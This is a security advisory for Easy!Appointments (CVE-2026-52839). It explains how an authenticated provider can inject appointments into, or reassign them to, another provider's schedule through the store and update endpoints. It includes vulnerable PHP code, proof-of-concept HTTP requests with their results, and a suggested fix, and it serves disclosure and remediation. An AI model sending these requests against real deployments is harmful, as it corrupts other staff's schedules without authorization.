Skip to content

Easy!Appointments appointments/store and appointments/update allow cross-provider appointment injection — Authorization Bypass

Low
alextselegidis published GHSA-w8xc-8g92-v77h Jun 15, 2026

Package

alextselegidis/easyappointments

Affected versions

<= 1.5.2

Patched versions

None

Description

Summary

Easy!Appointments correctly filters provider-scoped appointments in the appointments/search response, proving that provider isolation is an intended security boundary. However, the direct mutation endpoints appointments/store and appointments/update only check generic appointment privileges and never verify that the submitted id_users_provider belongs to the current session.

A normal authenticated provider can inject new appointments into another provider's schedule via store, or reassign existing appointments into a foreign provider's calendar via update. The store path contains an additional write-before-crash bug: the unauthorized row is committed to the database before the controller crashes on a type error, so the attacker receives an error response while the foreign appointment is already persisted.


Root Cause — Step by Step Code Flow

Step 1 — Search correctly enforces provider isolation

The search endpoint filters out appointments belonging to other providers — proving provider isolation is an intended boundary:

// Appointments.php
if ($role_slug === DB_SLUG_PROVIDER) {
    foreach ($appointments as $index => $appointment) {
        if ((int) $appointment['id_users_provider'] !== (int) $user_id) {
            unset($appointments[$index]);
        }
    }
}

Step 2 — store() only checks generic add permission

The store endpoint checks only whether the caller can add appointments in general — no provider ownership check:

// Appointments.php line 74-152
if (cannot('add', PRIV_APPOINTMENTS)) {
    abort(403, 'Forbidden');
}
 
$appointment = json_decode(request('appointment'), true);

Step 3 — Attacker-controlled id_users_provider saved directly

The controller whitelists and persists the appointment including the attacker-controlled provider ID:

$this->appointments_model->only($appointment, $this->allowed_appointment_fields);
$appointment_id = $this->appointments_model->save($appointment);

No check is performed to verify id_users_provider matches the current session.

Step 4 — Write-before-crash on store()

After the unauthorized row is committed, the controller crashes on a type error:

$appointment = $this->appointments_model->find($appointment); // array passed instead of $appointment_id

The attacker receives a 500 error response, but the foreign appointment row is already in the database.

Step 5 — update() has the same missing ownership check

The update endpoint also accepts attacker-controlled id_users_provider with only a generic edit permission check:

// Appointments.php line 178-196
if (cannot('edit', PRIV_APPOINTMENTS)) {
    abort(403, 'Forbidden');
}
 
$appointment = json_decode(request('appointment'), true);
$appointment_id = $this->appointments_model->save($appointment);

A provider can reassign any appointment they can edit into a foreign provider's calendar.


Proof of Concept

Attacker: Provider with session ID 4
Target: Foreign provider with ID 2

Step 1 — Inject appointment into foreign provider's schedule:

POST /index.php/appointments/store HTTP/1.1
Host: 127.0.0.1:18094
Cookie: <provider-4-session>
Content-Type: application/x-www-form-urlencoded
 
csrf_token=<token>&appointment={"start_datetime":"2026-05-29 15:00:00","end_datetime":"2026-05-29 15:30:00","notes":"foreign provider create by alicer","id_users_provider":2,"id_users_customer":3,"id_services":1}

Response: 500 Internal Server Error — type error on find()

But the row is committed:

id  start_datetime        id_users_provider  notes
6   2026-05-29 15:00:00   2                  foreign provider create by alicer

Provider 4 created a row that belongs to provider 2.


Step 2 — Reassign existing appointment to foreign provider:

POST /index.php/appointments/update HTTP/1.1
Host: 127.0.0.1:18094
Cookie: <provider-4-session>
Content-Type: application/x-www-form-urlencoded
 
csrf_token=<token>&appointment={"id":7,"start_datetime":"2026-05-30 09:00:00","end_datetime":"2026-05-30 09:30:00","notes":"reassigned to provider 2 by alicer","id_users_provider":2,"id_users_customer":3,"id_services":1}

Response: 200 OK

Result: Appointment 7 now belongs to provider 2 instead of provider 4.

Runtime verification result:

attacker provider id:                    4
foreign created appointment provider id: 2
reassigned appointment provider id:      2
provider-visible appointments:           0
PASS

The attacker's appointment search returns 0 results because both proof appointments now belong to the foreign provider.


Real World Impact

In a multi-provider Easy!Appointments deployment — a clinic, salon, or service business with multiple staff members — any authenticated provider can:

  • Inject fake appointments into a colleague's schedule causing confusion and double-bookings
  • Move their own appointments into another provider's calendar to hide or offload them
  • Disrupt scheduling integrity for staff and customers
  • Create unauthorized appointments that customers and admins attribute to the wrong provider
    The write-before-crash bug in store() makes detection harder — the attacker receives an error response that may appear harmless while the unauthorized record is silently committed.

Suggested Fix

In store() and update(): Enforce that id_users_provider matches the current session provider ID for non-admin roles:

if ($role_slug === DB_SLUG_PROVIDER) {
    $appointment['id_users_provider'] = $user_id; // force own provider ID
}

Fix the write-before-crash bug in store():

$appointment_id = $this->appointments_model->save($appointment);
$appointment = $this->appointments_model->find($appointment_id); // use ID not array

Reporter

Yash Shendge (ashrexon)
2026-05-25

Severity

Low

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
High
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N

CVE ID

CVE-2026-52839

Weaknesses

Authorization Bypass Through User-Controlled Key

The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data. Learn more on MITRE.

Missing Authorization

The product does not perform an authorization check when an actor attempts to access a resource or perform an action. Learn more on MITRE.

Credits